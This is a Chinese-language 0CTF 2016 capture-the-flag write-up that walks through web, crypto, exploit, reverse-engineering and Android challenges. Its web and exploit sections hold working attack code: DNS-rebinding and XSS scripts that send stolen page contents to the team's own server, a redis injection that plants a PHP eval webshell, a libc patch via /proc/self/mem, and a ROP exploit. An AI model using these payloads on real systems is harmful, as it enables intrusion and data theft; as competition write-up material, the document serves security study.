0ctf writeup
Author:雙螺旋安全研究院
0x00 Rand_2(web)
訪問http://202.120.7.202:8888/,即可獲取到題目的原始碼:
#!php
<?php
include('config.php');
session_start();
if($_SESSION['time'] && time() - $_SESSION['time'] > 60){
session_destroy();
die('timeout');
} else {
$_SESSION['time'] = time();
}
echo rand();
if(isset($_GET['go'])){
$_SESSION['rand'] = array();
$i = 5;
$d = '';
while($i--){
$r = (string)rand();
$_SESSION['rand'][] = $r;
$d .= $r;
}
echo md5($d);
}else if(isset($_GET['check'])){
if($_GET['ckeck'] === $_SESSION['rand']){
echo $flag;
} else {
echo 'die';
session_destroy();
}
} else {
show_source(__FILE__);
}
?>
由原始碼可以得知,在沒有GET引數go的時候,會生成並輸出一個隨機數,當帶上GET引數go的時候,會在session中寫入五個隨機數,並將他們組合起來的hash返回,如果提交的check和session[‘rand’]
的值相等,則返回flag。
參考:http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
文章中提到了:
#!php
state[i] = state[i-3] + state[i-31]
return state[i] >> 1
根據這一思路,如果我們能得到連續的超過32個生成的隨機數,就可以預測後面生成的數字。為了得到連續的隨機數,使用requests.session來keep-alive。
在實際測試中,我發現有時候預測出來的結果會和實際得到的結果差1,不過沒有找到規律,所以沒有管他,直接多跑了幾遍就出來了flag,指令碼如下:
#!python
import requests
while 1:
s = requests.session()
l = []
for i in range(50):
l.append(int(s.get('http://202.120.7.202:8888/').content.split('<code')[0].strip(), 10))
resp = s.get('http://202.120.7.202:8888/?go=1')
l.append(int(resp.content.strip()[:-32], 10))
print resp.content.strip()[-32:]
url = 'http://202.120.7.202:8888/?'
for i in range(5):
index = len(l)
r = (l[index-3]+l[index-31]) % 2147483648 # 2147483647
l.append(r)
url += 'check[]={}&'.format(r)
resp = s.get(url)
print resp.request.url
print resp.content
0x01 Monkey(web)
透過一個自己構造的頁面來獲取http://127.0.0.1:8080/secret頁面的內容。
一開始想透過XSSI的思路來獲取頁面內容,不過只能得到Script Error錯誤,之後換了個思路,找到了https://bugzilla.mozilla.org/show_bug.cgi?id=1106687。
雖然帶 .
的已經不能用了,但是還是可以利用這個思路來繞過。
我們先把自己的域名DNS TTL改成了10,然後提交一個頁面http:// pkav.net:8080/,延遲60秒後讀取http://pkav.net:8080/secret並把結果返回給遠端伺服器,在這段時間之內把域名的DNS記錄修改為127.0.0.1,即可讀取到http://127.0.0.1:8080/secret的內容。
打了兩次沒有成功,後來隊友嘗試了一下解析一下 pkav.net.重新整理DNS快取後成功了。
#!js
<html>
<script src="js/jquery-1.7.min.js"></script>
<script>
function getdata(){
$.get('http://pkav.pkav.net:8080/secret',function(data){
$.get('http://pkav.net/xss.php?xss='+data);
});
}
function refresh(){
$.get('http://pkav.pkav.net./');
}
setTimeout("refresh()",30000);
setTimeout("getdata()",100000);
</script>
</html>
0x02 Piapiapia(web)
程式碼審計題,flag在config.php檔案。class.php檔案裡,有過濾函式:
profile.php中有讀取檔案的程式碼:
這裡如果我們能控制$profile[‘photo’]
的值,那麼就可以讀取config.php檔案,從而獲取flag。
$profile
寫入資料庫時的程式碼如下:
可以看出對$_POST[‘nickname’]
的過濾是可以繞過的
#!php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
我們只要傳入一個陣列即可繞過正則和strlen的限制。
同時在update_profile的時候,是將陣列序列化之後的字串傳入filter,並將where替換成了hacker,導致字串長度變長了1。
於是可以利用這裡來把我們構造的內容給擠出s:xx:”string”的範圍,構造任意內容。
隊友把相關函式摳出來寫了一個指令碼來測試:
為了構造photo欄位,需要填充:";}s:5: "photo";s:10: "config.php
被閉合之後,完整的合法serialized array後面的字元會被忽略掉。
一共多出來31個字元,所以需要31個where。
構造nickname:
#!php
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
更新資料(update_file)後,訪問profile.php,config.php的內容便寫在img標籤的data URL中。
0x03 Guestbook(1)(web)
首先我們隨便提交一個message,看了下輸出的HTML:
username寫在div的id屬性中,message寫在JavaScript的data變數中,測試了幾次後發現message裡的\\
會變成\
,可以構造成任意字元。secret在URL的GET引數裡。
那麼如果我們的secret包含<script>var debug=false;</script>
,Chrome的XSS filter會認為HTML出現的<script>var debug=false;</script>
是反射XSS的輸出,把他給遮蔽掉無法執行。debug變數會引用到一個標籤上去,把username寫成debug則if(debug)
就會為true,執行t.innerHTML = data
,從而實現XSS。
POST資料包:
#!bash
POST /message.php HTTP/1.1
Host: 202.120.7.201:8888
Content-Length: 832
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://202.120.7.201:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://202.120.7.201:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
secret=1z1zfqwq%3Cscript%3Evar+debug%3Dfalse%3B%3C%2Fscript%3E&username=debug&message=\\x3cimg+src%3d%23+id%3dxssyou+style%3ddisplay%3anone+onerror%3deval(unescape(/alert%25281%2529/.source))%3b//\\x3e&action=submit
寫了幾行JS來讀取當前頁面HTML,
得到:
讀取/admin/server_info.php:
#!php
xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php ",false);xmlhttp.send();r=xmlhttp.responseText;xmlhttp.responseText;xmlhttp.open("POST","http://pkav.net/1.php",false);xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");xmlhttp.send("d="+escape(r));
發現是一個PHP探針,帶了一個phpinfo,phpinfo中會回顯出整個$_COOKIE
陣列,得到flag
0x04 Guestbook(2) (web)
在guestbook(1)的phpinfo中,發現:
感覺是redis未授權訪問,bind 127.0.0.1:6379,結合/admin/show.php中註釋裡提示的uploads目錄,寫webshell。
於是初步的想法是透過XSS來訪問redis,HTTP頭會被當成無效指令,不影響其他行的執行。
#!php
xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://127.0.0.1:6379",false);xmlhttp.send('flushall\r\nset a "<?php eval($_POST[c][/c]);//"\r\nCONFIG SET dir "/usr/share/nginx/html/uploads"\r\nCONFIG SET dbfilename "pkav.php"\r\nBGSAVE\r\nSAVE\r\n');
本地Redis測試成功,但在遠端伺服器上死活寫不了shell,後來用nc看了一下:
發現會先發一個OPTIONS請求,目測是這個請求失敗以後POST包根本沒有發出去。
後來經過多次的測試發現,改用form, multipart來換行:
#!php
f=document.createElement('form');['CONFIG SET dir /usr/share/nginx/html/uploads/','CONFIG SET dbfilename pkav.php','SET PAYLOAD "<?php eval($_POST[1]);?>"','BGSAVE'].forEach(function(e){var i=document.createElement('input');i.name='a';i.value=e;f.appendChild(i);});f.method='POST';f.action='http://127.0.0.1:6379/';f.enctype='multipart/form-data';f.submit();
成功拿到webshell。
然後先利用open_basedir的bypass列出來了/目錄:
發現有個flag_reader,應該是隻能透過執行flag_reader來讀/flag
檔案。
利用 https://raw.githubusercontent.com/beched/php_disable_functions_bypass/master/procfs_bypass.php這個的思路來bypass disable_functions,不過這個指令碼不能直接用,因為/lib沒在open_basedir裡面,幫pwner把libc跟elf從/proc/self/mem裡摳了出來,本來想讓他直接去算偏移硬編碼進去, 他研究了一下之後說可以直接寫程式碼段,不用改GOT表那麼麻煩。
最終利用程式碼:
#!php
<?php
$jmp_system = "\xE9\x2B\xB0\xF5\xFF";
$system_addr = 0x46640;
$open_addr = 0xeb610;
$maps = file_get_contents("/proc/self/maps");
preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r);
$libc_base = hexdec($r[1]); echo $libc_base;
$file = fopen("/proc/self/mem", "wb");
fseek($file, $open_addr + $libc_base);
fwrite($file, $jmp_system, strlen($jmp_system));
fopen("/flag_reader > /usr/share/nginx/html/uploads/pkav/xxxxxxxxxxxx.txt", 'r');
?>
0x05 OPM(Misc)
訪問http://dl.0ops.net/opm,將檔案下載回來,並載入winhex,透過頭可以看出是個壓縮檔案,解壓得到一個png圖片,使用神器stegsolve分析,可以看到rgb的最低有效位存在資料,應該使用lsb演算法隱藏資訊
觀察最低位資料,根據頭看出是一個壓縮檔案
“save bin“儲存成壓縮檔案,開啟得到一個檔名為arm彙編指令的文字檔案,qwq,安卓不懂,交給安卓牛分分鐘秒掉。
讀取地址和指令txt檔案,透過py排序生成bin檔案。
ida載入bin檔案,發現3段彙編程式碼,觀察彙編模式,得到關鍵函式sub_5c
第一個部分:plt表
#!bash
ROM:00000000 00 C6 8F E2 ADR R12, 8
ROM:00000004 04 CA 8C E2 ADD R12, R12, #0x4000
ROM:00000008 0C F4 BC E5 LDR PC, [R12,#0x40C]!
第二部分:jni函式
#!bash
ROM:0000000C 00 48 2D E9 STMFD SP!, {R11,LR}
ROM:00000010 04 B0 8D E2 ADD R11, SP, #4
ROM:00000014 18 D0 4D E2 SUB SP, SP, #0x18
ROM:00000018 10 00 0B E5 STR R0, [R11,#var_10]
ROM:0000001C 14 10 0B E5 STR R1, [R11,#var_14]
ROM:00000020 18 20 0B E5 STR R2, [R11,#var_18]
ROM:00000024 10 30 1B E5 LDR R3, [R11,#var_10]
ROM:00000028 00 30 93 E5 LDR R3, [R3]
ROM:0000002C A4 32 93 E5 LDR R3, [R3,#0x2A4]
ROM:00000030 10 00 1B E5 LDR R0, [R11,#var_10]
ROM:00000034 18 10 1B E5 LDR R1, [R11,#var_18]
ROM:00000038 00 20 A0 E3 MOV R2, #0
ROM:0000003C 33 FF 2F E1 BLX R3 (獲取字串長度模式程式碼)
ROM:00000040 08 00 0B E5 STR R0, [R11,#var_8]
ROM:00000044 08 00 1B E5 LDR R0, [R11,#var_8]
ROM:00000048 03 00 00 EB BL sub_5C
檢視演算法,起始函式部分暴露key為16長度,其中BL 0xFFFFFF80
實際為strlen。F5觀察程式碼,發現其為16階的線性方程組。
#!bash
ROM:0000005C 00 48 2D E9 STMFD SP!, {R11,LR}
ROM:00000060 04 B0 8D E2 ADD R11, SP, #4
ROM:00000064 88 D0 4D E2 SUB SP, SP, #0x88
ROM:00000068 88 00 0B E5 STR R0, [R11,#str]
ROM:0000006C 88 00 1B E5 LDR R0, [R11,#str]
ROM:00000070 C2 FF FF EB BL 0xFFFFFF80
ROM:00000074 00 30 A0 E1 MOV R3, R0
ROM:00000078 10 00 53 E3 CMP R3, #0x10
ROM:0000007C 01 00 00 0A BEQ loc_88
ROM:00000080 88 30 1B E5 LDR R3, [R11,#str]
等式右邊的值為:
#!bash
ans[15] = 0xFFFFCE56;
ans[14] = 0x4FCE;
ans[13] = 0x32DB;
ans[12] = 0xFFFFE038;
ans[11] = 0xFFFFA5C5;
ans[10] = 0x7ACB;
ans[9] = 0x442C;
ans[8] = 0xFFFFD069;
ans[7] = 0x3BA1;
ans[6] = 0xFFFF963A;
ans[5] = 0x6BAC;
ans[4] = 0x21B6;
ans[3] = 0x5081;
ans[2] = 0xD0C2;
ans[1] = 0xFFFFF5AB;
ans[0] = 0xFFFFE48E;
輸入方程係數,透過matlab矩陣求逆獲得輸入。計算結果為小數(我以為輸入係數手誤,對了3遍 2333...)。最後四捨五入取證代入校驗演算法,透過後得到key: Tr4c1NgF0RFuN!
0x06 RSA ?( Crypto)
#!bash
➜ rsa openssl rsa -pubin -text -modulus -in warmup -in public.pem
Modulus (314 bit):
02:ca:a9:c0:9d:c1:06:1e:50:7e:5b:7f:39:dd:e3:
45:5f:cf:e1:27:a2:c6:9b:62:1c:83:fd:9d:3d:3e:
aa:3a:ac:42:14:7c:d7:18:8c:53
Exponent: 3 (0x3)
Modulus=2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53
writing RSA key
-----BEGIN PUBLIC KEY-----
MEEwDQYJKoZIhvcNAQEBBQADMAAwLQIoAsqpwJ3BBh5Qflt/Od3jRV/P4Seixpti
HIP9nT0+qjqsQhR81xiMUwIBAw==
-----END PUBLIC KEY-----
.
#!bash
➜ rsa python
Python 2.7.11 (default, Jan 22 2016, 08:29:18)
[GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> int('0x2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53', 16)
23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067L
其中:
#!bash
e = 3
n =23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067L
在http://factordb.com/得到n的質因子分解式。
#!bash
n = 26440615366395242196516853423447 * 27038194053540661979045656526063 * 32581479300404876772405716877547
p = 26440615366395242196516853423447
q = 27038194053540661979045656526063
r = 32581479300404876772405716877547
但是這裡n有三個質因子,查閱資料後發現rsa有種形式為multi-prime,不過這裡\(\varphi(n)\)
與e不互質,依然不滿足multi-prime的關係。
如果這個加密關係滿足\(C=M^e mod(n)\)
,那麼我們就可以使用剩餘定理嘗試所有可能性。因為這裡e為3。
使用GP/PARI 對p、q、r算出所有滿足\(x^e mod(p)- c(mod(p))=0\)
的x。
之後透過剩餘定理嘗試所有可能性並都列印出來獲得flag: 0ctf{HahA!Thi5_1s_n0T_rSa~}
。
#!python
from rsa_decrypt import chinese_remainder_theorem
c = 2485360255306619684345131431867350432205477625621366642887752720125176463993839766742234027524
n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067
e = 3
p = 26440615366395242196516853423447
q = 27038194053540661979045656526063
r = 32581479300404876772405716877547
c_p = c % p
c_q = c % q
c_r = c % r
p_roots = [13374868592866626517389128266735, 7379361747422713811654086477766, 5686385026105901867473638678946]
q_roots = [19616973567618515464515107624812]
r_roots = [13404203109409336045283549715377, 13028011585706956936052628027629, 6149264605288583791069539134541]
for m_p in p_roots:
for m_q in q_roots:
for m_r in r_roots:
data = chinese_remainder_theorem([(m_p, p), (m_q, q), (m_r, r)])
data = '0' + hex(data)[2:-1] if len(hex(data)[2:-1]) % 2 == 1 else hex(data)[2:-1]
print data.decode('hex')
0x07 equation( Crypto)
根據題目將檔案下載回來(http://dl.0ops.net/equation.zip)發現私鑰中上半部分被打碼了,使用binwalk跑了一下找到了私鑰的一部分:
#!bash
-----BEGIN RSA PRIVATE KEY-----
[masked]
Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt
V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4
xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF
7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU
8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx
-----END RSA PRIVATE KEY-----
再用pngcheck檢查圖片,發現了IEND塊有附加資料,驗證為上述私鑰的部分字串。
#!bash
➜ equation pngcheck -v mask.png
File: mask.png (30810 bytes)
chunk IHDR at offset 0x0000c, length 13
717 x 384 image, 32-bit RGB+alpha, non-interlaced
chunk sRGB at offset 0x00025, length 1
rendering intent = perceptual
chunk gAMA at offset 0x00032, length 4: 0.45455
chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi)
chunk IDAT at offset 0x00057, length 30327
zlib: deflated, 32K window, fast compression
chunk IEND at offset 0x076da, length 0
additional data after IEND chunk
ERRORS DETECTED in mask.png
➜ equation
開始一直糾結可能資料還在圖片裡,後來想想看金鑰的一部分字串給了出來是為了方便分析嗎?
便去google RSA證照檔案資訊。
#!bash
RSAPrivateKey ::= SEQUENCE {
version Version,
modulus INTEGER, -- n
publicExponent INTEGER, -- e
privateExponent INTEGER, -- d
prime1 INTEGER, -- p
prime2 INTEGER, -- q
exponent1 INTEGER, -- d mod (p-1)
exponent2 INTEGER, -- d mod (q-1)
coefficient INTEGER, -- (inverse of q) mod p
otherPrimeInfos OtherPrimeInfos OPTIONAL
}
發現殘餘的部分含有 e、d mod(p-1)和d mod (q-1)。
這樣我們就可以暴力跑出來p,q。
#!python
import gmpy
d_p = 0xd5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a80e6067fb71cf213b276c2cbaed59
d_q = 0x1338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a05ecb552e448b347adc2c9170fa2f3
e = 65537
for k_p in range(1, e):
if (e*d_p - 1) % k_p == 0:
p = (e*d_p - 1) / k_p + 1
if gmpy.is_prime(p):
print '[p] {}'.format(p)
break
for k_q in range(1, e):
if (e*d_q - 1) % k_q == 0:
q = (e*d_q - 1) / k_q + 1
if gmpy.is_prime(q):
print '[q] {}'.format(q)
break
# [p] 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569
# [q] 12502893634923161599824465146407069882228513776947707295476805997311776855879024002289593598657949783937041929668443115224477369136089557911464046118127387
直接用p,q,e算出d。則m=pow(c, d, n)。
flag:0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!}
0x08 Warmup(Exploit)
根據題目描述,這道題目只能去讀取/home/warmup/flag。實際測試不能執行execve等系統呼叫。在棧中佈置payload可以進行rop呼叫open,read,write來讀取flag。
#!python
#!/usr/bin/env python2
from pwn import *
#0ctf{welcome_it_is_pwning_time}
r = remote('127.1', 4444)
#r = remote('202.120.7.207', 52608)
data = 0x080491BC
read = 0x0804811D
add_esp = 0x080481B8
flag = '/home/warmup/flag\x00'
buf = data+len(flag)
raw_input('debug')
payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 4
r.send(payload)
payload = 'A'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(1) + p32(buf) + p32(64)
r.send(payload)
payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 3 + p32(0x08048135)
r.send(payload)
payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 4
r.send(payload)
payload = 'B'*0x20 + p32(0x080480D8) + p32(buf) + p32(64) + 'BBBB' * 2
r.send(payload)
payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 1 + p32(read) + p32(add_esp) + p32(3)
r.send(payload)
payload = 'C'*0x20 + p32(0x080480D8) + 'CCCC' * 4
r.send(payload * 2)
payload = 'C'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(data) + p32(0) + 'CCCC'
r.send(payload)
payload = 'D'*0x20 + p32(0x080480D8) + 'DDDD' * 3 + p32(0x08048122)
r.send(payload * 3)
#send flag
payload = 'C'*0x20 + p32(read) + p32(0x0804815A) + p32(0) + p32(data) + p32(len(flag)) + flag
r.send(payload)
# eax = 5
payload = 'D'*0x20 + p32(read) + p32(add_esp) + p32(0) + p32(buf) + p32(5) + 'd'*5
r.send(payload)
print r.recv(1024)
0x09 Sandbox(Exploit)
這道題給了warmup的sandox程式。逆向分析發現他透過ptrace限制了warmup只能呼叫open,read,write,alarm,exit,mmap,mprotect這些系統呼叫。並且open的第一個引數只能是”/home/warmup/flag”,但是這個處理邏輯可以繞過:
當realpath的的第一個引數這個檔案不存在的時候返回NULL。將檔案地址寫成“/proc/self/tasks/7777/../../../../home/sandbox/flag”,然後不斷連線生成程式,當warmup的pid為7777時,sandbox的realpath呼叫返回NULL,同時warmp成功open了flag,就可以讀取flag了。
0x0A Trace(Reverse)
題目給了一個trace log。首先透過grep jal可以得到所呼叫的所有函式的起始地址,接著grep jr r31得到函式的結束地址,總共3個函式:00400770,004007d0,00400858,分別為strlen,strcpy和一個遞迴的快排。從log中根據地址剔去這幾個函式的程式碼得到主函式,主函式首先生成了a-zA-Z0-9{} + flag這樣的一個字串,然後對其進行快排,接著對結果開始對比是否前一個字串是否和後面的相同。
分析log可以手工將後面對比是否相同的程式碼分解成幾個基本塊,接著寫指令碼分析基本塊得到flag包含的字元:0111355555699cfkllmrrstt{}。
#!python
#!/usr/bin/python2
import string
start = 0
table = string.digits + string.ascii_uppercase + string.ascii_lowercase+ '{}'
result = ''
i = 0
with open('./tail.log') as f:
for line in f:
if '[INFO]00400b90' in line:
flag = True
elif '[INFO]00400bbc' in line:
flag = False
i += 1
elif '[INFO]00400bc8' in line and flag:
result += table[i]
print result
利用同樣的方法分析快排程式得到快排結果:
#!python
import string
table = list(string.ascii_letters + string.digits + '{}') + range(26)
f = open('858.log')
def qsort(s, begin, end):
t = True
i, j= begin + 1, begin + 1
for l in f:
if 'jr r31' in l:
return
elif '004008ac' in l:
t = True
elif '004008cc' in l:
t = False
s[i], s[j] = s[j], s[i]
j, i = j+1, i+1
elif '00400920' in l and t:
i += 1
elif '00400940' in l:
s[j-1], s[begin] = s[begin], s[j-1]
qsort(s, begin, j-1)
elif '00400998' in l:
qsort(s, j, end)
qsort(table, 0, len(table))
print table
將兩者結合就得到了flag:0ctf{tr135m1k5l96551s9l5r}
0x0B momo(Reverse)
下載檔案時是一個32位的ELF檔案,直接執行提示0ops try again,輸入正確的Flag時提示Congratulations。
在IDA中程式初步分析,發現程式程式碼中只包含了mov和jz兩種指令,程式經過變形。程式中使用了多張表,來進行加法、減法、異或和或運算等操作。最後透過查表的方式來完成執行,並透過mov指令來實現,並以此來迷惑大家。
經過分析,程式取輸入lag取其中的28個位元組來進行運算,因此輸入Flag總共28個位元組。在計算是,總共有兩個長度為28個位元組的參與固定運算的表,其中一個表依次與Flag中的每個位元組進行加或者減運算操作,而另外一個則上一步得到的運算結果中的每個位元組進行異或操作,最後將異或後結果依次進行或運算操作。如果最後結果為0,則提示成功,否則失敗。
大概流程如下:
#!bash
Operate{+,-,-,+,-,-,+,+,+,-,+,+,+,+,-,+,+,+,-,+,-,-,+,+,+,-,-}
Table1 {9,2,7,F,,7,7,9,4,E,8,13,6,1,1,3,1,9,0,9,9,9,2,1,A,5,6,21,7D}
Table2{39,61,6D,75,74,66,39,5A,6D,41,48,65,75,56,75,30,57,39,68,5A,39,4E,30,4F,6F,39,21,7D}
由於最後是要求與Table2進行或運算或者減法算操作,結果為0,因此要求輸入Flag經過和Table1相應的運算後的結果和Table2應該相同,因此表Table2按位元組減去或者加上對應的Table1中對應的位元組即可的Flag:0ctf{m0V_I5_tUr1N9_c0P1Et3!}
0x0C boomshakalaka(Mobile)
拿到apk先反編譯,主Activity的java程式碼如圖
可以看到功能不多,主要使用a類和啟動coco2d,分析a類,如圖
a類功能是進行sharedpreferences儲存,結合主Activity的呼叫得到可知建立了兩個sharedpreferences檔案,分別是flag.xml和CocosdxPrefsfile.xml,然後寫入了資料,試玩一把,檢視這兩個檔案
flag中的內容看起來就像base64編碼,解碼可得bazingaaaa。不是flag。嘗試用base64解碼另一個。
額,結果?提交果然不對,在主Activity裡可以看到MGN0是固定輸入 每次啟動程式會輸入,是0tcf的編碼。
又玩了一把更新最高分,CocosdxPrefsfile.xml中的內容變成
MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRfRzdz99
又追加了內容,格式很明顯,中括內的內容新增了。
MGN0 ZntDMGNvUzJkX0FuRHJv dz99
ZntDMGNvUzJkX0FuRHJvMWRfRz dz99
結合題目Highscore,看來是要到某一個分數才能寫完。
於是分析a類呼叫,發現java層和so都沒有找到。後來想是不是直接訪問了檔案,在smali中查詢CocosdxPrefsfile,果然發現,在cocos2dxhelper中也有對這個檔案的操作。
然後分析這個類的呼叫,找到在so中的呼叫。
查詢字串,分析地址呼叫。
根據呼叫找到關鍵函式,在_Z18setStringForKeyJNIPKcS0_
中用Cocos2dxHelper進行string寫入
然後再分析setstringforkey的呼叫。
寫入的地方較多,檢視了一下呼叫位置
可以看到寫入的內容,每次寫入兩個字元,對比一下Cocos2dxPrefsFile檔案中的字串,發現差不多了。
再分析發現下圖綠框中寫入的內容是初始化時寫入的,每次都有所以就不分析了,而紅框中的寫入內容與得分相關。
所以分析updatescore函式邏輯,獲得寫入順序,構造字串,成功
字串MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99
解碼結果 0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}
相關文章
- SSCTF Writeup2020-08-19
- BCTF Writeup2020-08-19
- JCTF Writeup2020-08-19
- HCTF writeup(web)2020-08-19Web
- wargame narnia writeup2020-08-19GAM
- 太湖杯writeup2020-11-22
- 360hackgame writeup2020-08-19GAM
- Wargama-leviathan Writeup2020-08-19GAM
- 程式碼審計[一] [0CTF 2016]piapiapia2024-03-31API
- CoolShell解密遊戲的WriteUp2020-08-19解密遊戲
- guestbook(hackme web部分writeup)2020-10-31Web
- 三道MISC的writeup2022-12-08
- xss挑戰賽writeup2020-08-19
- web_ping的writeup2018-08-19Web
- CTFSHOW-WEB入門 writeup2020-09-29Web
- Alictf2014 Writeup2020-08-19TF2
- cmseasy&內網滲透 Writeup2021-08-19內網
- 2016hctf writeup2017-03-04
- Hack.lu 2014 Writeup2020-08-19
- 31C3 CTF web關writeup2020-08-19Web
- CTF-safer-than-rot13-writeup2021-07-20
- Flare-on5 Challenge6 magic -Writeup2018-09-20
- CTF——WriteUp(2020招新)2020-11-04
- Misc_BUUCTF_WriteUp | 面具下的flag2024-10-30
- Web_Bugku_WriteUp | 變數12024-03-17Web變數
- 無聲杯 xss 挑戰賽 writeup2020-08-19
- 技術分享 | "錦行杯"比賽 Writeup2021-02-02
- 網鼎杯-writeup-第二場-babyRSA2018-08-24
- xctf攻防世界—Web新手練習區 writeup2020-12-22Web
- 2020湖湘杯部分writeup2020-11-02
- 【Writeup】Pwnable.kr 0x02 collision2017-07-29
- XSS挑戰第一期Writeup2020-08-19
- XSS挑戰第二期 Writeup2020-08-19
- 第五季極客大挑戰writeup2020-08-19
- 【阿菜Writeup】Security Innovation Smart Contract CTF2021-08-26
- 第一屆BMZCTF公開賽-WEB-Writeup2020-12-30Web
- 阿里雲CTF逆向題“尤拉”詳細Writeup2024-04-30阿里
- 32C3 CTF 兩個Web題目的Writeup2020-08-19Web